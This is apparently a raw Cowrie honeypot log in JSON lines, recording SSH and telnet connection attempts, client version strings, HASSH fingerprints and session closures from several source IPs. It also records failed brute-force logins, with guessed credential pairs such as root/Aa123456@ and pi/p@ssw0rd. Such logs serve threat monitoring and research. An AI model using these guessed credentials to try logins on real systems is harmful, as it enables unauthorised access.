{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":40542,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c4e59adf3c7","protocol":"ssh","message":"New connection: 176.32.39.21:40542 (10.17.0.5:22) [session: 6c4e59adf3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:26.996105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:27.000362Z","src_ip":"176.32.39.21","session":"6c4e59adf3c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:27.123902Z","src_ip":"176.32.39.21","session":"6c4e59adf3c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"v1o2v3a4","message":"login attempt [root/v1o2v3a4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:27.498618Z","src_ip":"176.32.39.21","session":"6c4e59adf3c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:28.389399Z","src_ip":"91.92.40.36","session":"89d6e008a4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:28.633482Z","src_ip":"176.32.39.21","session":"6c4e59adf3c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32048,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd60da97ac03","protocol":"ssh","message":"New connection: 91.92.40.36:32048 (10.17.0.5:22) [session: fd60da97ac03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:29.800339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:30.659108Z","src_ip":"91.92.40.36","session":"fd60da97ac03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:30.686660Z","src_ip":"91.92.40.36","session":"fd60da97ac03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":55444,"dst_ip":"159.203.135.109","dst_port":22,"session":"c136478893f7","protocol":"ssh","message":"New connection: 97.74.87.152:55444 (159.203.135.109:22) [session: c136478893f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:31.519685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:31.525919Z","src_ip":"97.74.87.152","session":"c136478893f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:31.765810Z","src_ip":"97.74.87.152","session":"c136478893f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.4399.com","message":"login attempt [root/www.4399.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:32.761798Z","src_ip":"97.74.87.152","session":"c136478893f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:33.948321Z","src_ip":"91.92.40.36","session":"fd60da97ac03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:34.004363Z","src_ip":"97.74.87.152","session":"c136478893f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:35.242304Z","src_ip":"91.92.40.36","session":"fd60da97ac03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51742,"dst_ip":"10.17.0.5","dst_port":22,"session":"61d4074a3543","protocol":"ssh","message":"New connection: 91.92.40.36:51742 (10.17.0.5:22) [session: 61d4074a3543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:37.906793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:38.552733Z","src_ip":"91.92.40.36","session":"61d4074a3543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:38.557524Z","src_ip":"91.92.40.36","session":"61d4074a3543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"P@ssw0rd","message":"login attempt [odoo/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:42.164364Z","src_ip":"91.92.40.36","session":"61d4074a3543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:43.767758Z","src_ip":"91.92.40.36","session":"61d4074a3543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37340,"dst_ip":"10.17.0.5","dst_port":22,"session":"14caacc3dc68","protocol":"ssh","message":"New connection: 91.92.40.36:37340 (10.17.0.5:22) [session: 14caacc3dc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:46.117767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:46.669599Z","src_ip":"91.92.40.36","session":"14caacc3dc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:46.673111Z","src_ip":"91.92.40.36","session":"14caacc3dc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matias","password":"matias","message":"login attempt [matias/matias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:49.731228Z","src_ip":"91.92.40.36","session":"14caacc3dc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33148,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1434b36d7c5","protocol":"telnet","message":"New connection: 128.199.8.54:33148 (159.203.135.109:23) [session: e1434b36d7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:52.073107Z"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:52.088926Z","src_ip":"91.92.40.36","session":"14caacc3dc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37382,"dst_ip":"10.17.0.5","dst_port":22,"session":"165aa5347278","protocol":"ssh","message":"New connection: 91.92.40.36:37382 (10.17.0.5:22) [session: 165aa5347278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:55.429002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:56.006195Z","src_ip":"91.92.40.36","session":"165aa5347278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:57.684551Z","src_ip":"91.92.40.36","session":"165aa5347278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":59396,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0704b95ca6d","protocol":"ssh","message":"New connection: 201.17.146.173:59396 (159.203.135.109:22) [session: c0704b95ca6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:57.936324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:57.946279Z","src_ip":"201.17.146.173","session":"c0704b95ca6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:58.082553Z","src_ip":"201.17.146.173","session":"c0704b95ca6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"freddy","password":"freddy123","message":"login attempt [freddy/freddy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:58.657217Z","src_ip":"201.17.146.173","session":"c0704b95ca6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:59.794580Z","src_ip":"201.17.146.173","session":"c0704b95ca6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53566,"dst_ip":"10.17.0.5","dst_port":22,"session":"44d8e3d094ac","protocol":"ssh","message":"New connection: 91.92.40.36:53566 (10.17.0.5:22) [session: 44d8e3d094ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:00.981294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:02.052769Z","src_ip":"91.92.40.36","session":"44d8e3d094ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:02.058173Z","src_ip":"91.92.40.36","session":"44d8e3d094ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jboss","message":"login attempt [root/jboss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:04.806685Z","src_ip":"91.92.40.36","session":"44d8e3d094ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:05.781444Z","src_ip":"91.92.40.36","session":"165aa5347278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:06.187599Z","src_ip":"91.92.40.36","session":"44d8e3d094ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:08.356619Z","src_ip":"91.92.40.36","session":"165aa5347278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37276,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dfab48f416e","protocol":"ssh","message":"New connection: 91.92.40.36:37276 (10.17.0.5:22) [session: 3dfab48f416e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:09.673728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:10.339072Z","src_ip":"91.92.40.36","session":"3dfab48f416e","protocol":"ssh"}
